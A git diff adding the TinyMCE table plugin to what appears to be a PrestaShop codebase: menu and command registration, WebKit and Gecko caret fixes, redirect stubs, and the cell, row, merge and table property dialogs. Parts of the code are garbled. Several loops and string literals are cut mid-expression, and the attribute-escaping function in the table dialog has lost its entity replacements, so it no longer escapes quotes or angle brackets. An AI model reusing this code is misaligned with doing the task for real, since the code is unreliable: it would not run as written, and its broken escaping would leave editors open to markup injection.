'mceTableSplitCells'}); + sm.add({title : 'table.merge_cells_desc', icon : 'merge_cells', cmd : 'mceTableMergeCells'}); + + // Row menu + sm = m.addMenu({title : 'table.row'}); + sm.add({title : 'table.row_desc', icon : 'row_props', cmd : 'mceTableRowProps'}); + sm.add({title : 'table.row_before_desc', icon : 'row_before', cmd : 'mceTableInsertRowBefore'}); + sm.add({title : 'table.row_after_desc', icon : 'row_after', cmd : 'mceTableInsertRowAfter'}); + sm.add({title : 'table.delete_row_desc', icon : 'delete_row', cmd : 'mceTableDeleteRow'}); + sm.addSeparator(); + sm.add({title : 'table.cut_row_desc', icon : 'cut', cmd : 'mceTableCutRow'}); + sm.add({title : 'table.copy_row_desc', icon : 'copy', cmd : 'mceTableCopyRow'}); + sm.add({title : 'table.paste_row_before_desc', icon : 'paste', cmd : 'mceTablePasteRowBefore'}).setDisabled(!clipboardRows); + sm.add({title : 'table.paste_row_after_desc', icon : 'paste', cmd : 'mceTablePasteRowAfter'}).setDisabled(!clipboardRows); + + // Column menu + sm = m.addMenu({title : 'table.col'}); + sm.add({title : 'table.col_before_desc', icon : 'col_before', cmd : 'mceTableInsertColBefore'}); + sm.add({title : 'table.col_after_desc', icon : 'col_after', cmd : 'mceTableInsertColAfter'}); + sm.add({title : 'table.delete_col_desc', icon : 'delete_col', cmd : 'mceTableDeleteCol'}); + } else + m.add({title : 'table.desc', icon : 'table', cmd : 'mceInsertTable'}); + }); + } + + // Fix to allow navigating up and down in a table in WebKit browsers. + if (tinymce.isWebKit) { + function moveSelection(ed, e) { + var VK = tinymce.VK; + var key = e.keyCode; + + function handle(upBool, sourceNode, event) { + var siblingDirection = upBool ? 'previousSibling' : 'nextSibling'; + var currentRow = ed.dom.getParent(sourceNode, 'tr'); + var siblingRow = currentRow[siblingDirection]; + + if (siblingRow) { + moveCursorToRow(ed, sourceNode, siblingRow, upBool); + tinymce.dom.Event.cancel(event); + return true; + } else { + var tableNode = ed.dom.getParent(currentRow, 'table'); + var middleNode = currentRow.parentNode; + var parentNodeName = middleNode.nodeName.toLowerCase(); + if (parentNodeName === 'tbody' || parentNodeName === (upBool ? 'tfoot' : 'thead')) { + var targetParent = getTargetParent(upBool, tableNode, middleNode, 'tbody'); + if (targetParent !== null) { + return moveToRowInTarget(upBool, targetParent, sourceNode, event); + } + } + return escapeTable(upBool, currentRow, siblingDirection, tableNode, event); + } + } + + function getTargetParent(upBool, topNode, secondNode, nodeName) { + var tbodies = ed.dom.select('>' + nodeName, topNode); + var position = tbodies.indexOf(secondNode); + if (upBool && position === 0 || !upBool && position === tbodies.length - 1) { + return getFirstHeadOrFoot(upBool, topNode); + } else if (position === -1) { + var topOrBottom = secondNode.tagName.toLowerCase() === 'thead' ? 0 : tbodies.length - 1; + return tbodies[topOrBottom]; + } else { + return tbodies[position + (upBool ? -1 : 1)]; + } + } + + function getFirstHeadOrFoot(upBool, parent) { + var tagName = upBool ? 'thead' : 'tfoot'; + var headOrFoot = ed.dom.select('>' + tagName, parent); + return headOrFoot.length !== 0 ? headOrFoot[0] : null; + } + + function moveToRowInTarget(upBool, targetParent, sourceNode, event) { + var targetRow = getChildForDirection(targetParent, upBool); + targetRow && moveCursorToRow(ed, sourceNode, targetRow, upBool); + tinymce.dom.Event.cancel(event); + return true; + } + + function escapeTable(upBool, currentRow, siblingDirection, table, event) { + var tableSibling = table[siblingDirection]; + if (tableSibling) { + moveCursorToStartOfElement(tableSibling); + return true; + } else { + var parentCell = ed.dom.getParent(table, 'td,th'); + if (parentCell) { + return handle(upBool, parentCell, event); + } else { + var backUpSibling = getChildForDirection(currentRow, !upBool); + moveCursorToStartOfElement(backUpSibling); + return tinymce.dom.Event.cancel(event); + } + } + } + + function getChildForDirection(parent, up) { + return parent && parent[up ? 'lastChild' : 'firstChild']; + } + + function moveCursorToStartOfElement(n) { + ed.selection.setCursorLocation(n, 0); + } + + function isVerticalMovement() { + return key == VK.UP || key == VK.DOWN; + } + + function isInTable(ed) { + var node = ed.selection.getNode(); + var currentRow = ed.dom.getParent(node, 'tr'); + return currentRow !== null; + } + + function columnIndex(column) { + var colIndex = 0; + var c = column; + while (c.previousSibling) { + c = c.previousSibling; + colIndex = colIndex + getSpanVal(c, "colspan"); + } + return colIndex; + } + + function findColumn(rowElement, columnIndex) { + var c = 0; + var r = 0; + each(rowElement.children, function(cell, i) { + c = c + getSpanVal(cell, "colspan"); + r = i; + if (c > columnIndex) + return false; + }); + return r; + } + + function moveCursorToRow(ed, node, row, upBool) { + var srcColumnIndex = columnIndex(ed.dom.getParent(node, 'td,th')); + var tgtColumnIndex = findColumn(row, srcColumnIndex); + var tgtNode = row.childNodes[tgtColumnIndex]; + var rowCellTarget = getChildForDirection(tgtNode, upBool); + moveCursorToStartOfElement(rowCellTarget || tgtNode); + } + + function shouldFixCaret(preBrowserNode) { + var newNode = ed.selection.getNode(); + var newParent = ed.dom.getParent(newNode, 'td,th'); + var oldParent = ed.dom.getParent(preBrowserNode, 'td,th'); + return newParent && newParent !== oldParent && checkSameParentTable(newParent, oldParent) + } + + function checkSameParentTable(nodeOne, NodeTwo) { + return ed.dom.getParent(nodeOne, 'TABLE') === ed.dom.getParent(NodeTwo, 'TABLE'); + } + + if (isVerticalMovement() && isInTable(ed)) { + var preBrowserNode = ed.selection.getNode(); + setTimeout(function() { + if (shouldFixCaret(preBrowserNode)) { + handle(!e.shiftKey && key === VK.UP, preBrowserNode, e); + } + }, 0); + } + } + + ed.onKeyDown.add(moveSelection); + } + + // Fixes an issue on Gecko where it's impossible to place the caret behind a table + // This fix will force a paragraph element after the table but only when the forced_root_block setting is enabled + if (!tinymce.isIE) { + function fixTableCaretPos() { + var last; + + // Skip empty text nodes form the end + for (last = ed.getBody().lastChild; last && last.nodeType == 3 && !last.nodeValue.length; last = last.previousSibling) ; + + if (last && last.nodeName == 'TABLE') + ed.dom.add(ed.getBody(), 'p', null, '
    '); + }; + + // Fixes an bug where it's impossible to place the caret before a table in Gecko + // this fix solves it by detecting when the caret is at the beginning of such a table + // and then manually moves the caret infront of the table + if (tinymce.isGecko) { + ed.onKeyDown.add(function(ed, e) { + var rng, table, dom = ed.dom; + + // On gecko it's not possible to place the caret before a table + if (e.keyCode == 37 || e.keyCode == 38) { + rng = ed.selection.getRng(); + table = dom.getParent(rng.startContainer, 'table'); + + if (table && ed.getBody().firstChild == table) { + if (isAtStart(rng, table)) { + rng = dom.createRng(); + + rng.setStartBefore(table); + rng.setEndBefore(table); + + ed.selection.setRng(rng); + + e.preventDefault(); + } + } + } + }); + } + + ed.onKeyUp.add(fixTableCaretPos); + ed.onSetContent.add(fixTableCaretPos); + ed.onVisualAid.add(fixTableCaretPos); + + ed.onPreProcess.add(function(ed, o) { + var last = o.node.lastChild; + + if (last && last.childNodes.length == 1 && last.firstChild.nodeName == 'BR') + ed.dom.remove(last); + }); + + + /** + * Fixes bug in Gecko where shift-enter in table cell does not place caret on new line + */ + if (tinymce.isGecko) { + ed.onKeyDown.add(function(ed, e) { + if (e.keyCode === tinymce.VK.ENTER && e.shiftKey) { + var node = ed.selection.getRng().startContainer; + var tableCell = dom.getParent(node, 'td,th'); + if (tableCell) { + var zeroSizedNbsp = ed.getDoc().createTextNode("\uFEFF"); + dom.insertAfter(zeroSizedNbsp, node); + } + } + }); + } + + + fixTableCaretPos(); + ed.startContent = ed.getContent({format : 'raw'}); + } + }); + + // Register action commands + each({ + mceTableSplitCells : function(grid) { + grid.split(); + }, + + mceTableMergeCells : function(grid) { + var rowSpan, colSpan, cell; + + cell = ed.dom.getParent(ed.selection.getNode(), 'th,td'); + if (cell) { + rowSpan = cell.rowSpan; + colSpan = cell.colSpan; + } + + if (!ed.dom.select('td.mceSelected,th.mceSelected').length) { + winMan.open({ + url : url + '/merge_cells.htm', + width : 240 + parseInt(ed.getLang('table.merge_cells_delta_width', 0)), + height : 110 + parseInt(ed.getLang('table.merge_cells_delta_height', 0)), + inline : 1 + }, { + rows : rowSpan, + cols : colSpan, + onaction : function(data) { + grid.merge(cell, data.cols, data.rows); + }, + plugin_url : url + }); + } else + grid.merge(); + }, + + mceTableInsertRowBefore : function(grid) { + grid.insertRow(true); + }, + + mceTableInsertRowAfter : function(grid) { + grid.insertRow(); + }, + + mceTableInsertColBefore : function(grid) { + grid.insertCol(true); + }, + + mceTableInsertColAfter : function(grid) { + grid.insertCol(); + }, + + mceTableDeleteCol : function(grid) { + grid.deleteCols(); + }, + + mceTableDeleteRow : function(grid) { + grid.deleteRows(); + }, + + mceTableCutRow : function(grid) { + clipboardRows = grid.cutRows(); + }, + + mceTableCopyRow : function(grid) { + clipboardRows = grid.copyRows(); + }, + + mceTablePasteRowBefore : function(grid) { + grid.pasteRows(clipboardRows, true); + }, + + mceTablePasteRowAfter : function(grid) { + grid.pasteRows(clipboardRows); + }, + + mceTableDelete : function(grid) { + grid.deleteTable(); + } + }, function(func, name) { + ed.addCommand(name, function() { + var grid = createTableGrid(); + + if (grid) { + func(grid); + ed.execCommand('mceRepaint'); + cleanup(); + } + }); + }); + + // Register dialog commands + each({ + mceInsertTable : function(val) { + winMan.open({ + url : url + '/table.htm', + width : 400 + parseInt(ed.getLang('table.table_delta_width', 0)), + height : 320 + parseInt(ed.getLang('table.table_delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + action : val ? val.action : 0 + }); + }, + + mceTableRowProps : function() { + winMan.open({ + url : url + '/row.htm', + width : 400 + parseInt(ed.getLang('table.rowprops_delta_width', 0)), + height : 295 + parseInt(ed.getLang('table.rowprops_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }, + + mceTableCellProps : function() { + winMan.open({ + url : url + '/cell.htm', + width : 400 + parseInt(ed.getLang('table.cellprops_delta_width', 0)), + height : 295 + parseInt(ed.getLang('table.cellprops_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + } + }, function(func, name) { + ed.addCommand(name, function(ui, val) { + func(val); + }); + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('table', tinymce.plugins.TablePlugin); +})(tinymce); diff --git a/js/tiny_mce2/plugins/table/index.php b/js/tiny_mce2/plugins/table/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/table/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/js/cell.js b/js/tiny_mce2/plugins/table/js/cell.js new file mode 100755 index 0000000..53bdb54 --- /dev/null +++ b/js/tiny_mce2/plugins/table/js/cell.js @@ -0,0 +1,319 @@ +tinyMCEPopup.requireLangPack(); + +var ed; + +function init() { + ed = tinyMCEPopup.editor; + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor') + + var inst = ed; + var tdElm = ed.dom.getParent(ed.selection.getStart(), "td,th"); + var formObj = document.forms[0]; + var st = ed.dom.parseStyle(ed.dom.getAttrib(tdElm, "style")); + + // Get table cell data + var celltype = tdElm.nodeName.toLowerCase(); + var align = ed.dom.getAttrib(tdElm, 'align'); + var valign = ed.dom.getAttrib(tdElm, 'valign'); + var width = trimSize(getStyle(tdElm, 'width', 'width')); + var height = trimSize(getStyle(tdElm, 'height', 'height')); + var bordercolor = convertRGBToHex(getStyle(tdElm, 'bordercolor', 'borderLeftColor')); + var bgcolor = convertRGBToHex(getStyle(tdElm, 'bgcolor', 'backgroundColor')); + var className = ed.dom.getAttrib(tdElm, 'class'); + var backgroundimage = getStyle(tdElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = ed.dom.getAttrib(tdElm, 'id'); + var lang = ed.dom.getAttrib(tdElm, 'lang'); + var dir = ed.dom.getAttrib(tdElm, 'dir'); + var scope = ed.dom.getAttrib(tdElm, 'scope'); + + // Setup form + addClassesToList('class', 'table_cell_styles'); + TinyMCE_EditableSelects.init(); + + if (!ed.dom.hasClass(tdElm, 'mceSelected')) { + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.width.value = width; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = ed.dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'celltype', celltype); + selectByValue(formObj, 'dir', dir); + selectByValue(formObj, 'scope', scope); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var el, inst = ed, tdElm, trElm, tableElm, formObj = document.forms[0]; + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getStart(); + tdElm = ed.dom.getParent(el, "td,th"); + trElm = ed.dom.getParent(el, "tr"); + tableElm = ed.dom.getParent(el, "table"); + + // Cell is selected + if (ed.dom.hasClass(tdElm, 'mceSelected')) { + // Update all selected sells + tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'), function(td) { + updateCell(td); + }); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (getSelectValue(formObj, 'action')) { + case "cell": + var celltype = getSelectValue(formObj, 'celltype'); + var scope = getSelectValue(formObj, 'scope'); + + function doUpdate(s) { + if (s) { + updateCell(tdElm); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + } + }; + + if (ed.getParam("accessibility_warnings", 1)) { + if (celltype == "th" && scope == "") + tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope', '', true), doUpdate); + else + doUpdate(1); + + return; + } + + updateCell(tdElm); + break; + + case "row": + var cell = trElm.firstChild; + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + cell = updateCell(cell, true); + } while ((cell = nextCell(cell)) != null); + + break; + + case "col": + var curr, col = 0, cell = trElm.firstChild, rows = tableElm.getElementsByTagName("tr"); + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + if (cell == tdElm) + break; + col += cell.getAttribute("colspan"); + } while ((cell = nextCell(cell)) != null); + + for (var i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/table/js/merge_cells.js b/js/tiny_mce2/plugins/table/js/merge_cells.js new file mode 100755 index 0000000..fc2a048 --- /dev/null +++ b/js/tiny_mce2/plugins/table/js/merge_cells.js @@ -0,0 +1,27 @@ +tinyMCEPopup.requireLangPack(); + +var MergeCellsDialog = { + init : function() { + var f = document.forms[0]; + + f.numcols.value = tinyMCEPopup.getWindowArg('cols', 1); + f.numrows.value = tinyMCEPopup.getWindowArg('rows', 1); + }, + + merge : function() { + var func, f = document.forms[0]; + + tinyMCEPopup.restoreSelection(); + + func = tinyMCEPopup.getWindowArg('onaction'); + + func({ + cols : f.numcols.value, + rows : f.numrows.value + }); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(MergeCellsDialog.init, MergeCellsDialog); diff --git a/js/tiny_mce2/plugins/table/js/row.js b/js/tiny_mce2/plugins/table/js/row.js new file mode 100755 index 0000000..882bfb5 --- /dev/null +++ b/js/tiny_mce2/plugins/table/js/row.js @@ -0,0 +1,237 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var trElm = dom.getParent(inst.selection.getStart(), "tr"); + var formObj = document.forms[0]; + var st = dom.parseStyle(dom.getAttrib(trElm, "style")); + + // Get table row data + var rowtype = trElm.parentNode.nodeName.toLowerCase(); + var align = dom.getAttrib(trElm, 'align'); + var valign = dom.getAttrib(trElm, 'valign'); + var height = trimSize(getStyle(trElm, 'height', 'height')); + var className = dom.getAttrib(trElm, 'class'); + var bgcolor = convertRGBToHex(getStyle(trElm, 'bgcolor', 'backgroundColor')); + var backgroundimage = getStyle(trElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = dom.getAttrib(trElm, 'id'); + var lang = dom.getAttrib(trElm, 'lang'); + var dir = dom.getAttrib(trElm, 'dir'); + + selectByValue(formObj, 'rowtype', rowtype); + + // Any cells selected + if (dom.select('td.mceSelected,th.mceSelected', trElm).length == 0) { + // Setup form + addClassesToList('class', 'table_row_styles'); + TinyMCE_EditableSelects.init(); + + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'dir', dir); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var inst = tinyMCEPopup.editor, dom = inst.dom, trElm, tableElm, formObj = document.forms[0]; + var action = getSelectValue(formObj, 'action'); + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + trElm = dom.getParent(inst.selection.getStart(), "tr"); + tableElm = dom.getParent(inst.selection.getStart(), "table"); + + // Update all selected rows + if (dom.select('td.mceSelected,th.mceSelected', trElm).length > 0) { + tinymce.each(tableElm.rows, function(tr) { + var i; + + for (i = 0; i < tr.cells.length; i++) { + if (dom.hasClass(tr.cells[i], 'mceSelected')) { + updateRow(tr, true); + return; + } + } + }); + + inst.addVisual(); + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (action) { + case "row": + updateRow(trElm); + break; + + case "all": + var rows = tableElm.getElementsByTagName("tr"); + + for (var i=0; i colLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g, colLimit)); + return false; + } else if (rowLimit && rows > rowLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g, rowLimit)); + return false; + } else if (cellLimit && cols * rows > cellLimit) { + tinyMCEPopup.alert(inst.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g, cellLimit)); + return false; + } + + // Update table + if (action == "update") { + dom.setAttrib(elm, 'cellPadding', cellpadding, true); + dom.setAttrib(elm, 'cellSpacing', cellspacing, true); + + if (!isCssSize(border)) { + dom.setAttrib(elm, 'border', border); + } else { + dom.setAttrib(elm, 'border', ''); + } + + if (border == '') { + dom.setStyle(elm, 'border-width', ''); + dom.setStyle(elm, 'border', ''); + dom.setAttrib(elm, 'border', ''); + } + + dom.setAttrib(elm, 'align', align); + dom.setAttrib(elm, 'frame', frame); + dom.setAttrib(elm, 'rules', rules); + dom.setAttrib(elm, 'class', className); + dom.setAttrib(elm, 'style', style); + dom.setAttrib(elm, 'id', id); + dom.setAttrib(elm, 'summary', summary); + dom.setAttrib(elm, 'dir', dir); + dom.setAttrib(elm, 'lang', lang); + + capEl = inst.dom.select('caption', elm)[0]; + + if (capEl && !caption) + capEl.parentNode.removeChild(capEl); + + if (!capEl && caption) { + capEl = elm.ownerDocument.createElement('caption'); + + if (!tinymce.isIE) + capEl.innerHTML = '
    '; + + elm.insertBefore(capEl, elm.firstChild); + } + + if (width && inst.settings.inline_styles) { + dom.setStyle(elm, 'width', width); + dom.setAttrib(elm, 'width', ''); + } else { + dom.setAttrib(elm, 'width', width, true); + dom.setStyle(elm, 'width', ''); + } + + // Remove these since they are not valid XHTML + dom.setAttrib(elm, 'borderColor', ''); + dom.setAttrib(elm, 'bgColor', ''); + dom.setAttrib(elm, 'background', ''); + + if (height && inst.settings.inline_styles) { + dom.setStyle(elm, 'height', height); + dom.setAttrib(elm, 'height', ''); + } else { + dom.setAttrib(elm, 'height', height, true); + dom.setStyle(elm, 'height', ''); + } + + if (background != '') + elm.style.backgroundImage = "url('" + background + "')"; + else + elm.style.backgroundImage = ''; + +/* if (tinyMCEPopup.getParam("inline_styles")) { + if (width != '') + elm.style.width = getCSSSize(width); + }*/ + + if (bordercolor != "") { + elm.style.borderColor = bordercolor; + elm.style.borderStyle = elm.style.borderStyle == "" ? "solid" : elm.style.borderStyle; + elm.style.borderWidth = cssSize(border); + } else + elm.style.borderColor = ''; + + elm.style.backgroundColor = bgcolor; + elm.style.height = getCSSSize(height); + + inst.addVisual(); + + // Fix for stange MSIE align bug + //elm.outerHTML = elm.outerHTML; + + inst.nodeChanged(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + // Repaint if dimensions changed + if (formObj.width.value != orgTableWidth || formObj.height.value != orgTableHeight) + inst.execCommand('mceRepaint'); + + tinyMCEPopup.close(); + return true; + } + + // Create new table + html += ''); + + tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','), function(n) { + if (patt) + patt += ','; + + patt += n + ' ._mce_marker'; + }); + + tinymce.each(inst.dom.select(patt), function(n) { + inst.dom.split(inst.dom.getParent(n, 'h1,h2,h3,h4,h5,h6,p'), n); + }); + + dom.setOuterHTML(dom.select('br._mce_marker')[0], html); + } else + inst.execCommand('mceInsertContent', false, html); + + tinymce.each(dom.select('table[data-mce-new]'), function(node) { + // Fixes a bug in IE where the caret cannot be placed after the table if the table is at the end of the document + if (tinymce.isIE && node.nextSibling == null) { + dom.insertAfter(dom.create('p'), node); + } + + var tdorth = dom.select('td,th', node); + try { + // IE9 might fail to do this selection + inst.selection.setCursorLocation(tdorth[0], 0); + } catch (ex) { + // Ignore + } + + dom.setAttrib(node, 'data-mce-new', ''); + }); + + inst.addVisual(); + inst.execCommand('mceEndUndoLevel', false, {}, {skip_undo: true}); + + tinyMCEPopup.close(); +} + +function makeAttrib(attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib]; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + if (value == "") + return ""; + + // XML encode it + value = value.replace(/&/g, '&'); + value = value.replace(/\"/g, '"'); + value = value.replace(//g, '>'); + + return ' ' + attrib + '="' + value + '"'; +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + + var cols = 2, rows = 2, border = tinyMCEPopup.getParam('table_default_border', '0'), cellpadding = tinyMCEPopup.getParam('table_default_cellpadding', ''), cellspacing = tinyMCEPopup.getParam('table_default_cellspacing', ''); + var align = "", width = "", height = "", bordercolor = "", bgcolor = "", className = ""; + var id = "", summary = "", style = "", dir = "", lang = "", background = "", bgcolor = "", bordercolor = "", rules = "", frame = ""; + var inst = tinyMCEPopup.editor, dom = inst.dom; + var formObj = document.forms[0]; + var elm = dom.getParent(inst.selection.getNode(), "table"); + + action = tinyMCEPopup.getWindowArg('action'); + + if (!action) + action = elm ? "update" : "insert"; + + if (elm && action != "insert") { + var rowsAr = elm.rows; + var cols = 0; + for (var i=0; i cols) + cols = rowsAr[i].cells.length; + + cols = cols; + rows = rowsAr.length; + + st = dom.parseStyle(dom.getAttrib(elm, "style")); + border = trimSize(getStyle(elm, 'border', 'borderWidth')); + cellpadding = dom.getAttrib(elm, 'cellpadding', ""); + cellspacing = dom.getAttrib(elm, 'cellspacing', ""); + width = trimSize(getStyle(elm, 'width', 'width')); + height = trimSize(getStyle(elm, 'height', 'height')); + bordercolor = convertRGBToHex(getStyle(elm, 'bordercolor', 'borderLeftColor')); + bgcolor = convertRGBToHex(getStyle(elm, 'bgcolor', 'backgroundColor')); + align = dom.getAttrib(elm, 'align', align); + frame = dom.getAttrib(elm, 'frame'); + rules = dom.getAttrib(elm, 'rules'); + className = tinymce.trim(dom.getAttrib(elm, 'class').replace(/mceItem.+/g, '')); + id = dom.getAttrib(elm, 'id'); + summary = dom.getAttrib(elm, 'summary'); + style = dom.serializeStyle(st); + dir = dom.getAttrib(elm, 'dir'); + lang = dom.getAttrib(elm, 'lang'); + background = getStyle(elm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + formObj.caption.checked = elm.getElementsByTagName('caption').length > 0; + + orgTableWidth = width; + orgTableHeight = height; + + action = "update"; + formObj.insert.value = inst.getLang('update'); + } + + addClassesToList('class', "table_styles"); + TinyMCE_EditableSelects.init(); + + // Update form + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'tframe', frame); + selectByValue(formObj, 'rules', rules); + selectByValue(formObj, 'class', className, true, true); + formObj.cols.value = cols; + formObj.rows.value = rows; + formObj.border.value = border; + formObj.cellpadding.value = cellpadding; + formObj.cellspacing.value = cellspacing; + formObj.width.value = width; + formObj.height.value = height; + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.id.value = id; + formObj.summary.value = summary; + formObj.style.value = style; + formObj.dir.value = dir; + formObj.lang.value = lang; + formObj.backgroundimage.value = background; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + // Disable some fields in update mode + if (action == "update") { + formObj.cols.disabled = true; + formObj.rows.disabled = true; + } +} + +function changedSize() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + +/* var width = formObj.width.value; + if (width != "") + st['width'] = tinyMCEPopup.getParam("inline_styles") ? getCSSSize(width) : ""; + else + st['width'] = "";*/ + + var height = formObj.height.value; + if (height != "") + st['height'] = getCSSSize(height); + else + st['height'] = ""; + + formObj.style.value = dom.serializeStyle(st); +} + +function isCssSize(value) { + return /^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value); +} + +function cssSize(value, def) { + value = tinymce.trim(value || def); + + if (!isCssSize(value)) { + return parseInt(value, 10) + 'px'; + } + + return value; +} + +function changedBackgroundImage() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; + + formObj.style.value = dom.serializeStyle(st); +} + +function changedBorder() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + // Update border width if the element has a color + if (formObj.border.value != "" && (isCssSize(formObj.border.value) || formObj.bordercolor.value != "")) + st['border-width'] = cssSize(formObj.border.value); + else { + if (!formObj.border.value) { + st['border'] = ''; + st['border-width'] = ''; + } + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedColor() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-color'] = formObj.bgcolor.value; + + if (formObj.bordercolor.value != "") { + st['border-color'] = formObj.bordercolor.value; + + // Add border-width if it's missing + if (!st['border-width']) + st['border-width'] = cssSize(formObj.border.value, 1); + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedStyle() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + if (st['background-image']) + formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + else + formObj.backgroundimage.value = ''; + + if (st['width']) + formObj.width.value = trimSize(st['width']); + + if (st['height']) + formObj.height.value = trimSize(st['height']); + + if (st['background-color']) { + formObj.bgcolor.value = st['background-color']; + updateColor('bgcolor_pick','bgcolor'); + } + + if (st['border-color']) { + formObj.bordercolor.value = st['border-color']; + updateColor('bordercolor_pick','bordercolor'); + } +} + +tinyMCEPopup.onInit.add(init); diff --git 